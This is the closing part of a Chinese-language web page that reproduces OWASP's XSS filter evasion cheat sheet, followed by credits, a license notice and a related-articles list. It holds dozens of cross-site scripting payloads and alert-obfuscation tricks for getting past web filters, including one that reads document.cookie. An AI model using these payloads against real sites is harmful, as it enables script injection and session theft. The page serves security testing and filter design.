alert (XSS)"></p> <p><Input value = "XSS" type = text></p> <p><applet code="javascript:confirm(document.cookie);"></p> <p><isindex x="javascript:" οnmοuseοver="alert(XSS)"></p> <p>"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT></p> <p>"><img src="x:x" οnerrοr="alert(XSS)"></p> <p>"><iframe src="javascript:alert(XSS)"></p> <p><object data="javascript:alert(XSS)"></p> <p><isindex type=image src=1 οnerrοr=alert(XSS)></p> <p><img src=x:alert(alt) οnerrοr=eval(src) alt=0></p> <p><img  src="x:gif" οnerrοr="window['al\u0065rt'](0)"></img></p> <p><iframe/src="data:text/html,<svg οnlοad=alert(1)>"></p> <p><meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/></p> <p><svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script</p> <p><meta http-equiv="refresh" content="0;url=javascript:confirm(1)"></p> <p><iframe src=javascript&colon;alert&lpar;document&period;location&rpar;></p> <p><form><a href="javascript:\u0061lert(1)">X</p> <p></script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/οnerrοr='eval(src)'></p> <p><style>//*{x:expression(alert(/xss/))}//<style></style> </p> <p>On Mouse Over​</p> <p><img src="/" =_=" title="οnerrοr='prompt(1)'"></p> <p><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe</p> <p><script x> alert(1) </script 1=2</p> <p><form><button formaction=javascript&colon;alert(1)>CLICKME</p> <p><input/οnmοuseοver="javaSCRIPT&colon;confirm&lpar;1&rpar;"</p> <p><iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe></p> <p><b><br></b></p> </blockquote> <p></p> <div class="simditor-table"> <div class="simditor-resize-handle"></div> </div> <p></p> <h3>3.1.  Alert混淆以绕过过滤器</h3> <blockquote> <p>(alert)(1)</p> <p>a=alert,a(1)</p> <p>[1].find(alert)</p> <p>top[“al”+”ert”](1)</p> <p>top[/al/.source+/ert/.source](1)</p> <p>al\u0065rt(1)</p> <p>top[‘al\145rt’](1)</p> <p>top[‘al\x65rt’](1)</p> <p>top[8680439..toString(30)](1)</p> <p></p> </blockquote> <h2>4.作者和主要编辑</h2> <p></p> <p></p> <p>Robert "RSnake" Hansen</p> <p></p> <h2>5.贡献者</h2> <p></p> <p></p> <p>Adam Lange</p> <p></p> <p></p> <p>Mishra Dhiraj</p> <p></p> <p></p> <h3><b>版权与许可</b></h3> <p></p> <p></p> <blockquote> <p>版权所有:OWASP基金会©</p> <p></p> <p>本文档基于 Creative Commons Attribution ShareAlike3.0 license 发布。任何重用或发行,都必须向他人明确该文档的许可条款。 http://creativecommons.org/licenses/by-sa/3.0/</p> </blockquote> <p></p> <p>—————————————————————————————————————————————————</p> <p>我不需要自由,只想背着她的梦</p> <p>一步步向前走,她给的永远不重</p> <p>—————————————————————————————————————————————————</p> </div> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1596466057986473984"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(waf绕过系列)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1943122928648384512.htm" title="【车载测试之CAPL编程系列】:【16】函数定义(2)" target="_blank">【车载测试之CAPL编程系列】:【16】函数定义(2)</a> <span class="text-muted"></span> <div>车载测试CAPL编程系列:CAPL中的函数定义(2)目录函数定义的基本形式参数类型与返回值函数重载(Overload)返回值限制:不能返回数组AI总结函数定义的基本形式CAPL函数定义具有灵活性,可根据需求设计无返回值、无参数的函数。无返回值、无参数的函数返回值类型:若函数无返回值,可声明为void,且void关键字可省略(CAPL特性,区别于C语言)。参数:允许无参数,但必须保留空括号()。示例</div> </li> <li><a href="/article/1943109827190386688.htm" title="多模态大模型发展全景:从架构创新到应用突破" target="_blank">多模态大模型发展全景:从架构创新到应用突破</a> <span class="text-muted">陈敬雷-充电了么-CEO兼CTO</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">大模型</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E6%A8%A1%E6%80%81%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">多模态大模型</a><a class="tag" taget="_blank" href="/search/AIGC/1.htm">AIGC</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/DeepSeek/1.htm">DeepSeek</a> <div>注:此文章内容均节选自充电了么创始人,CEO兼CTO陈敬雷老师的新书《GPT多模态大模型与AIAgent智能体》(跟我一起学人工智能)【陈敬雷编著】【清华大学出版社】《GPT多模态大模型与AIAgent智能体》新出书籍配套视频【陈敬雷】推荐算法系统实战全系列精品课【陈敬雷】文章目录GPT多模态大模型系列四多模态大模型发展全景:从架构创新到应用突破更多技术内容总结GPT多模态大模型系列四多模态大模型</div> </li> <li><a href="/article/1943107557711212544.htm" title="PHP安全编程实践系列(三):安全会话管理与防护策略" target="_blank">PHP安全编程实践系列(三):安全会话管理与防护策略</a> <span class="text-muted">软考和人工智能学堂</span> <a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/php%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1%E7%BB%8F%E9%AA%8C/1.htm">php程序设计经验</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>前言会话管理是Web应用安全的核心环节,不安全的会话实现可能导致用户账户被劫持、敏感数据泄露等严重后果。本文将深入探讨PHP中的会话安全机制,分析常见会话攻击手段,并提供全面的防护策略和实践方案。一、会话安全基础1.1PHP会话机制工作原理理论:PHP会话是通过会话ID(SessionID)在服务器和客户端之间维持状态的一种机制。关键流程包括:会话初始化:session_start()调用会话ID</div> </li> <li><a href="/article/1943096457573756928.htm" title="Cursor这类编程Agent软件的模型架构与工作流程" target="_blank">Cursor这类编程Agent软件的模型架构与工作流程</a> <span class="text-muted">nine是个工程师</span> <a class="tag" taget="_blank" href="/search/%E8%B0%88%E8%B0%88%E6%9E%B6%E6%9E%84/1.htm">谈谈架构</a><a class="tag" taget="_blank" href="/search/Agent/1.htm">Agent</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a> <div>开发|界面|引擎|交付|副驾——重写全栈法则:AI原生的倍速造应用流来自全栈程序员nine的探索与实践,持续迭代中。欢迎评论私信交流。最近在关注和输出一系列AIGC架构。模型架构与工作流程大语言模型(LLM)核心编程Agent的核心是一个强大的大语言模型,负责理解用户意图并生成相应的代码和解决方案。Cursor这类编程Agent通常基于GPT-4或Claude等先进大语言模型构建。这些模型通过海量</div> </li> <li><a href="/article/1943095324486725632.htm" title="【AI大模型前沿】OmniAudio:阿里通义实验室的空间音频生成模型,开启沉浸式体验新时代" target="_blank">【AI大模型前沿】OmniAudio:阿里通义实验室的空间音频生成模型,开启沉浸式体验新时代</a> <span class="text-muted">寻道AI小兵</span> <a class="tag" taget="_blank" href="/search/AI%E5%A4%A7%E6%A8%A1%E5%9E%8B/1.htm">AI大模型</a><a class="tag" taget="_blank" href="/search/-/1.htm">-</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E6%B2%BF%E6%8A%80%E6%9C%AF%E8%BF%BD%E8%B8%AA/1.htm">前沿技术追踪</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E9%9F%B3%E8%A7%86%E9%A2%91/1.htm">音视频</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E6%BA%90/1.htm">开源</a><a class="tag" taget="_blank" href="/search/AIGC/1.htm">AIGC</a><a class="tag" taget="_blank" href="/search/%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">语言模型</a> <div>系列篇章No.文章1【AI大模型前沿】深度剖析瑞智病理大模型RuiPath:如何革新癌症病理诊断技术2【AI大模型前沿】清华大学CLAMP-3:多模态技术引领音乐检索新潮流3【AI大模型前沿】浙大携手阿里推出HealthGPT:医学视觉语言大模型助力智能医疗新突破4【AI大模型前沿】阿里QwQ-32B:320亿参数推理大模型,性能比肩DeepSeek-R1,免费开源5【AI大模型前沿】TRELLI</div> </li> <li><a href="/article/1943086123010027520.htm" title="大模型之Spring AI实战系列(三十二):Spring Boot + DeepSeek 实战指南:工具函数(Function Call)实战应用" target="_blank">大模型之Spring AI实战系列(三十二):Spring Boot + DeepSeek 实战指南:工具函数(Function Call)实战应用</a> <span class="text-muted"></span> <div>系列篇章No.文章1大模型之SpringAI实战系列(一):基础认知篇-开启智能应用开发之旅2大模型之SpringAI实战系列(二):SpringBoot+OpenAI打造聊天应用全攻略3大模型之SpringAI实战系列(三):SpringBoot+OpenAI实现聊天应用上下文记忆功能4大模型之SpringAI实战系列(四):SpringBoot+OpenAI使用OpenAIEmbedding实</div> </li> <li><a href="/article/1943079314530562048.htm" title="MAXCC可编程中控集成音频处理器功能全解析" target="_blank">MAXCC可编程中控集成音频处理器功能全解析</a> <span class="text-muted">geffen1688</span> <a class="tag" taget="_blank" href="/search/%E4%B8%AD%E6%8E%A7%E4%B8%BB%E6%9C%BA/1.htm">中控主机</a><a class="tag" taget="_blank" href="/search/3d/1.htm">3d</a><a class="tag" taget="_blank" href="/search/web3/1.htm">web3</a><a class="tag" taget="_blank" href="/search/css3/1.htm">css3</a><a class="tag" taget="_blank" href="/search/avs3/1.htm">avs3</a> <div>格芬MAXCC可编程中控集成音频处理器功能全解析一、技术架构与核心功能格芬MAXCC可编程中控矩阵一体机(如GF-MIXCC系列)通过高度集成化设计,将中控系统、音频矩阵、视频矩阵及环境控制功能融为一体,其音频处理能力尤为突出:音频矩阵与混音功能8进8出音频矩阵:支持Dante网络音频传输,采样率达24bit/48KHz,配备高性能A/DD/A转换器和32-bit浮点DSP处理器,确保音频信号的高</div> </li> <li><a href="/article/1943079062478057472.htm" title="HDMI高清矩阵与无缝拼接矩阵 OEM定制控标" target="_blank">HDMI高清矩阵与无缝拼接矩阵 OEM定制控标</a> <span class="text-muted">geffen08</span> <a class="tag" taget="_blank" href="/search/TPHD141K/1.htm">TPHD141K</a><a class="tag" taget="_blank" href="/search/vc-1/1.htm">vc-1</a><a class="tag" taget="_blank" href="/search/g711/1.htm">g711</a><a class="tag" taget="_blank" href="/search/es13/1.htm">es13</a> <div>HDMI高清矩阵与无缝拼接矩阵:GEFFEN/GF-MIX系列介绍GEFFEN/GF-MIX系列矩阵是一款集成了高性能、高灵活性和高可靠性于一身的音视频处理设备,特别适用于需要高清视频信号切换、拼接和显示的场合。HDMI高清矩阵主要功能与特点:高清视频信号切换:GEFFEN/GF-MIX系列HDMI高清矩阵支持多路HDMI输入和多路HDMI输出,能够轻松实现高清视频信号之间的快速切换。无缝切换技术</div> </li> <li><a href="/article/1943042879446380544.htm" title="人工智能 开源的大模型训练微调框架LLaMA-Factory" target="_blank">人工智能 开源的大模型训练微调框架LLaMA-Factory</a> <span class="text-muted"></span> <div>LLaMA-Factory是一个开源的大模型训练微调框架,具有模块化设计和多种高效的训练方法,能够满足不同用户的需求。用户可以通过命令行或Web界面进行操作,实现个性化的语言模型微调。LLaMA-Factory是一个专注于高效微调LLaMA系列模型的开源框架(GitHub项目地址:https://github.com/hiyouga/LLaMA-Factory)。它以极简配置、低资源消耗和对中文任</div> </li> <li><a href="/article/1943037209464598528.htm" title="ClickHouse高频面试题" target="_blank">ClickHouse高频面试题</a> <span class="text-muted">野老杂谈</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>ClickHouse高频面试题1、简单介绍一下ClickHouse2、ClickHouse具有哪些特点3、ClickHouse作为一款高性能OLAP数据库,存在哪些不足4、ClickHouse有哪些表引擎5、介绍下Log系列表引擎应用场景共性特点不支持6、简单介绍下MergeTree系列引擎7、简单介绍下外部集成表引擎ODBCJDBCMySQLHDFSKafkaRabbitMQ8、ClickHou</div> </li> <li><a href="/article/1943034813539741696.htm" title="kafka系列 ---安装kafka+SASL配置" target="_blank">kafka系列 ---安装kafka+SASL配置</a> <span class="text-muted">心有栖</span> <a class="tag" taget="_blank" href="/search/kafka%E4%B8%93%E6%A0%8F/1.htm">kafka专栏</a><a class="tag" taget="_blank" href="/search/kafka/1.htm">kafka</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>文章目录前言一、pandas是什么?二、使用步骤1.引入库2.读入数据总结前言这篇主要讲如何安装kafka+配置SASL安全验证,之前网上一些文章要么没有配置SASL,要么本身存在一些问题,这里主要把正确的配置方案放上来,后续会讲讲遇到的一些问题和该如何解决。一、安装kafka官网的quickstart有最新安装教程,想安装最新版可以去官网,目前我使用的是kafka2.6.0。这里的所有操作都是在</div> </li> <li><a href="/article/1943033173780787200.htm" title="大唐杯省赛考纲总结(10%)" target="_blank">大唐杯省赛考纲总结(10%)</a> <span class="text-muted">LUO-CHEn</span> <a class="tag" taget="_blank" href="/search/%E5%A4%A7%E5%94%90%E6%9D%AF%E7%AC%AC%E5%8D%81%E5%B1%8A/1.htm">大唐杯第十届</a><a class="tag" taget="_blank" href="/search/5G/1.htm">5G</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E4%B8%8E%E9%80%9A%E4%BF%A1/1.htm">信息与通信</a> <div>系列文章目录本届大唐杯考察范围20%通信基础知识70%5G内容10%商业流程文章目录系列文章目录前言一、通信基础知识的考察(20%)二、5G内容5G无线技术(20%):5G网络技术(10%):5G协议与信令(15%):5G工程实践(15%):5G+垂直行业应用(10%):三、商业流程(10%):总结前言大唐杯以推广信息通信领域前沿技术、协同高校学科建设、推动行业创新发展为目的,激发高校学生参赛热情</div> </li> <li><a href="/article/1943029516788101120.htm" title="【零基础必看的数据库教程】——SQL 简介" target="_blank">【零基础必看的数据库教程】——SQL 简介</a> <span class="text-muted">小洪爱分享</span> <a class="tag" taget="_blank" href="/search/SQL%E5%AD%A6%E4%B9%A0/1.htm">SQL学习</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a><a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E7%B3%BB%E7%BB%9F/1.htm">数据库系统</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%BC%80%E5%8F%91/1.htm">数据库开发</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/1.htm">经验分享</a> <div>目录SQL是什么SQL能做什么在您的网站中使用SQLRDBMSSQL发展历史总结SQL是什么SQL(StructuredQueryLanguage:结构化查询语言)是用于管理关系数据库管理系统(RDBMS)。SQL通过一系列的语句和命令来执行数据定义、数据查询、数据操作和数据控制等功能,包括数据插入、查询、更新和删除,数据库模式创建和修改,以及数据访问控制。SQL让您可以访问和处理数据库,包括数据</div> </li> <li><a href="/article/1943023088023171072.htm" title="Failed to load response data: No data found for resource with given identifier 错误问题排查解决" target="_blank">Failed to load response data: No data found for resource with given identifier 错误问题排查解决</a> <span class="text-muted">Right.W</span> <a class="tag" taget="_blank" href="/search/%E9%83%A8%E7%BD%B2/1.htm">部署</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a> <div>同事在一个新的环境里部署了一套测试环境,因为服务器内存问题等问题,没有采用容器部署,直接进行打包部署的,用nginx做代理完成。部署完成后,也是遇到一系列的问题,其中Failedtoloadresponsedata:Nodatafoundforresourcewithgivenidentifier这个问题在平台里导出都有报,但是一直没有找到问题根源,这个问题导致平台中许多节点都不能正常访问,登陆跳</div> </li> <li><a href="/article/1943022205646467072.htm" title="NVIDIA GeForce RTX 3090显卡详细介绍" target="_blank">NVIDIA GeForce RTX 3090显卡详细介绍</a> <span class="text-muted">山顶望月川</span> <a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>一、详细参数(一)核心参数芯片厂商:NVIDIA显卡芯片:GeForceRTX3090显示芯片系列:NVIDIARTX30系列制作工艺:8纳米核心代号:GA102-300核心频率:基础频率1400MHz,加速频率1700MHzCUDA核心:10496个(二)显存规格显存频率:19500MHz显存类型:GDDR6X显存容量:24GB显存位宽:384bit最大分辨率:7680×4320(三)显卡接口接</div> </li> <li><a href="/article/1943017792294940672.htm" title="小架构step系列04:springboot提供的依赖" target="_blank">小架构step系列04:springboot提供的依赖</a> <span class="text-muted">秋千码途</span> <a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/boot/1.htm">boot</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>1概述搭建的工程例子中,指定了spring-boot的spring-boot-starter-parent作为,然后在依赖中指定了spring-boot-starter依赖,里面没有指定版本,也没看到有指定核心Spring,却能够正常运行,这是如何工作的?org.springframework.bootspring-boot-starter-parent2.1.18.RELEASEorg.spri</div> </li> <li><a href="/article/1943017793158967296.htm" title="小架构step系列06:编译配置" target="_blank">小架构step系列06:编译配置</a> <span class="text-muted"></span> <div>1概述编写Java代码之后,需要经过编译、打包字节码、打包源码、生成文档之类的操作,这些操作里面的涉及到各种各样的工具和参数配置,这里仅介绍最基础的。建议这块能够简单就尽量简单,平时开发大部分的时间都会聚焦在开发业务功能上,这些编译打包相关的配置其实很少人会去搞懂它,经过一段时间人员的变换,可能里面的知识很容易就丢失掉了。如果配置过于复杂,做很多特殊的事情,那么如果出了问题或者需要调整,由于没多少</div> </li> <li><a href="/article/1943017793590980608.htm" title="小架构step系列09:日志量控制" target="_blank">小架构step系列09:日志量控制</a> <span class="text-muted">秋千码途</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/logback/1.htm">logback</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a> <div>1概述当业务运行出问题的时候,需要借助日志来定位问题,下面的情况可能会导致日志量比较大:很多开发人员对日志的作用并不是很理解,大概是把日志当单步调试用,想看看程序是否运行到哪一步就打印个日志,确定程序到哪一步远远不够的,还需要其它信息,这样日志就会越打越多。业务软件运行的时间越长,积攒的日志就越多。日志的存储是要消耗存储空间的,如果不加以控制,量积累到一定程度就有可能会耗光有限的磁盘空间,甚至无法</div> </li> <li><a href="/article/1943017540292767744.htm" title="logback 入门教程系列-03-logback config 配置" target="_blank">logback 入门教程系列-03-logback config 配置</a> <span class="text-muted">老马啸西风</span> <a class="tag" taget="_blank" href="/search/logback/1.htm">logback</a> <div>配置将日志请求插入应用程序代码需要相当多的计划和努力。观察表明,大约4%的代码专门用于记录。因此,即使是适度大小的应用程序也会在其代码中嵌入数千个日志记录语句。鉴于它们的数量,我们需要工具来管理这些日志语句。可以通过编程方式或使用以XML或Groovy格式表示的配置脚本来配置Logback。顺便说一句,现有的log4j用户可以使用我们的PropertiesTranslatorWeb应用程序将他们的</div> </li> <li><a href="/article/1943014134169792512.htm" title="小架构step系列08:logback.xml的配置" target="_blank">小架构step系列08:logback.xml的配置</a> <span class="text-muted">秋千码途</span> <a class="tag" taget="_blank" href="/search/logback/1.htm">logback</a><a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>1概述logback.xml配置文件的详细配置,很多地方都说得比较细,本文主要从几个重点来看一下原理,了解原理能够帮助确定哪些应该配置,以及如何配置。logback.xml是为打印日志服务的,打印的内容一般打印到控制台(Console)和文件(file)里,在生产环境中主要是打印到文件里,然后用扫描工具汇总到某个地方方便查询(如ELK)。打印的内容要符合一定的格式,提供足够的信息,方便进行日志查询</div> </li> <li><a href="/article/1943010480473829376.htm" title="Day2:Python基础(二)——内置类型之字符串 str" target="_blank">Day2:Python基础(二)——内置类型之字符串 str</a> <span class="text-muted">DIO屑</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>系列文章目录上一篇:Day2:Python基础(一)——内置类型之数字类型(int,bool,float,complex)文章目录系列文章目录前言一、字面量二、特点三、访问方式四、常用运算及方法总结前言在本章节中,我们将学习Python的文本序列类型也就是字符串str进行学习。顾名思义,之所以叫叫文本序列类型,首先其内容是文本,其次它是有序的一系列元素,故而称之为序列。接下来,我们会学习字符串的字</div> </li> <li><a href="/article/1943007578975956992.htm" title="UA池和代理IP池" target="_blank">UA池和代理IP池</a> <span class="text-muted">itLaity</span> <a class="tag" taget="_blank" href="/search/Python%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E8%AE%B2%E8%A7%A3%E4%B8%8E%E6%80%BB%E7%BB%93/1.htm">Python基础知识讲解与总结</a><a class="tag" taget="_blank" href="/search/%E4%B8%AD%E9%97%B4%E4%BB%B6/1.htm">中间件</a><a class="tag" taget="_blank" href="/search/http/1.htm">http</a><a class="tag" taget="_blank" href="/search/py/1.htm">py</a><a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F/1.htm">代理模式</a> <div>scrapy中中间件:位于scrapy引擎和下载器之间的一层组件作用:(1)引擎将请求传递给下载器过程中,下载中间件可以对请求进行一系列处理。比如设置请求的User-Agent,设置代理等(2)在下载器完成将Response传递给引擎中,下载中间件可以对响应进行一系列处理。比如进行gzip解压等。middlewares(中间件py文件)spider:从这里开始--->作用:产生一个或者一批url/</div> </li> <li><a href="/article/1942999136475344896.htm" title="17 - Debian如何配置vsftpd(2)系统用户验证" target="_blank">17 - Debian如何配置vsftpd(2)系统用户验证</a> <span class="text-muted">网络傅老师</span> <a class="tag" taget="_blank" href="/search/%E3%80%90%E7%9F%A5%E8%AF%86%E5%BA%93%E3%80%91Debian12%E7%B3%BB%E5%88%97/1.htm">【知识库】Debian12系列</a><a class="tag" taget="_blank" href="/search/debian/1.htm">debian</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/vsftp/1.htm">vsftp</a> <div>作者:网络傅老师特别提示:未经作者允许,不得转载任何内容。违者必究!Debian如何配置vsftpd(2)系统用户验证《傅老师Debian知识库系列之17》——原创==前言==傅老师Debian小知识库特点:1、最小化拆解Debian实用技能;&lt;</div> </li> <li><a href="/article/1942984518256357376.htm" title="ios系统安卓系统苹果ipa程序安卓apk内测分发常见问题注意事项汇总及解决方案" target="_blank">ios系统安卓系统苹果ipa程序安卓apk内测分发常见问题注意事项汇总及解决方案</a> <span class="text-muted">咕噜签名分发冰淇淋</span> <a class="tag" taget="_blank" href="/search/ios/1.htm">ios</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>在应用开发过程中,内测分发是一个至关重要的环节,它直接关系到软件的质量和用户体验。然而,在iOS系统的ipa程序和安卓系统的apk内测分发过程中,开发者往往会遇到一系列挑战和问题。本文将详细汇总这些常见问题及其注意事项,并提供相应的解决方案,以帮助开发者更好地进行内测分发。一、测试设备和环境问题缺乏各种测试设备iOS和安卓系统拥有众多不同的设备和型号,这导致开发者在进行兼容性测试时面临巨大挑战。由</div> </li> <li><a href="/article/1942984518738702336.htm" title="App中分发中的防盗链开发是做什么的?" target="_blank">App中分发中的防盗链开发是做什么的?</a> <span class="text-muted"></span> <div>APP分发中的防盗链开发是一项至关重要的任务,它旨在保护应用程序的内容、资源以及用户信息不被非法获取、复制或滥用。以下是关于APP分发中防盗链开发的详细解析:一、防盗链的基本概念防盗链是指在应用程序(APP)的分发和使用过程中,采取的一系列技术手段和策略,以确保只有经过授权的用户或平台能够访问和获取APP内的资源。这些措施旨在保护APP的知识产权和商业利益,防止未经授权的第三方进行非法复制、分发或</div> </li> <li><a href="/article/1942974312231268352.htm" title="蓝桥杯C++组算法知识点整理 · 考前突击(上)【小白适用】" target="_blank">蓝桥杯C++组算法知识点整理 · 考前突击(上)【小白适用】</a> <span class="text-muted">南星六月雪</span> <a class="tag" taget="_blank" href="/search/C%2B%2B%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.htm">C++学习笔记</a><a class="tag" taget="_blank" href="/search/%E5%8D%97%E6%98%9F%E5%85%AD%E6%9C%88%E9%9B%AA%E7%9A%84%E6%89%8B%E6%9C%AD/1.htm">南星六月雪的手札</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E8%93%9D%E6%A1%A5%E6%9D%AF/1.htm">蓝桥杯</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a> <div>【背景说明】本文的作者是一名算法竞赛小白,在第一次参加蓝桥杯之前希望整理一下自己会了哪些算法,于是有了本文的诞生。分享在这里也希望与众多学子共勉。如果时间允许的话,这一系列会分为上中下三部分和大家见面,祝大家竞赛顺利!【文风说明】本文主要会用代码+注释的方式来解释内容。相信学过编程的人都会发现程序比长篇大论更易理解!目录一、语言基础1.1编程基础1.2竞赛常用库函数1.2.1sort函数1.2.2</div> </li> <li><a href="/article/1942960072388833280.htm" title="python网络仿真模拟_复杂网络仿真工具networkX的环境搭建(Windows环境)" target="_blank">python网络仿真模拟_复杂网络仿真工具networkX的环境搭建(Windows环境)</a> <span class="text-muted"></span> <div>写这篇文章的目的是希望没有编程经验的小白也能够跟着文章的指示搭建自己的networkx环境,所以写得很初步很详细,会编程的人也不妨一看,可以避开一些我已经绕过的弯路我的PC环境是windows764位操作系统1.安装python,networkX属于python的一个模块,所以要先安装python;python可以去官网下载(官网上有不同版本的python,根据自己的PC环境下载)我下载的是文件p</div> </li> <li><a href="/article/1942950616573734912.htm" title="知识图谱系列(2):知识图谱的技术架构与组成要素" target="_blank">知识图谱系列(2):知识图谱的技术架构与组成要素</a> <span class="text-muted">程序员查理</span> <a class="tag" taget="_blank" href="/search/%23/1.htm">#</a><a class="tag" taget="_blank" href="/search/%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1/1.htm">知识图谱</a><a class="tag" taget="_blank" href="/search/%E7%9F%A5%E8%AF%86%E5%9B%BE%E8%B0%B1/1.htm">知识图谱</a><a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/AI/1.htm">AI</a><a class="tag" taget="_blank" href="/search/Agent/1.htm">Agent</a><a class="tag" taget="_blank" href="/search/RAG/1.htm">RAG</a> <div>1.引言知识图谱作为一种强大的知识表示和组织方式,已经在搜索引擎、推荐系统、智能问答等多个领域展现出巨大的价值。在之前的上一篇文章中,我们介绍了知识图谱的基础概念与发展历程,了解了知识图谱的定义、核心特征、发展历史以及在AI发展中的地位与作用。要深入理解和应用知识图谱,我们需要进一步探索其内部的技术架构和组成要素。知识图谱不仅仅是一个简单的数据结构,而是一个复杂的技术体系,涉及知识的表示、存储、查</div> </li> <li><a href="/article/1942942175817953280.htm" title="深入了解视频播放器工作原理与实现" 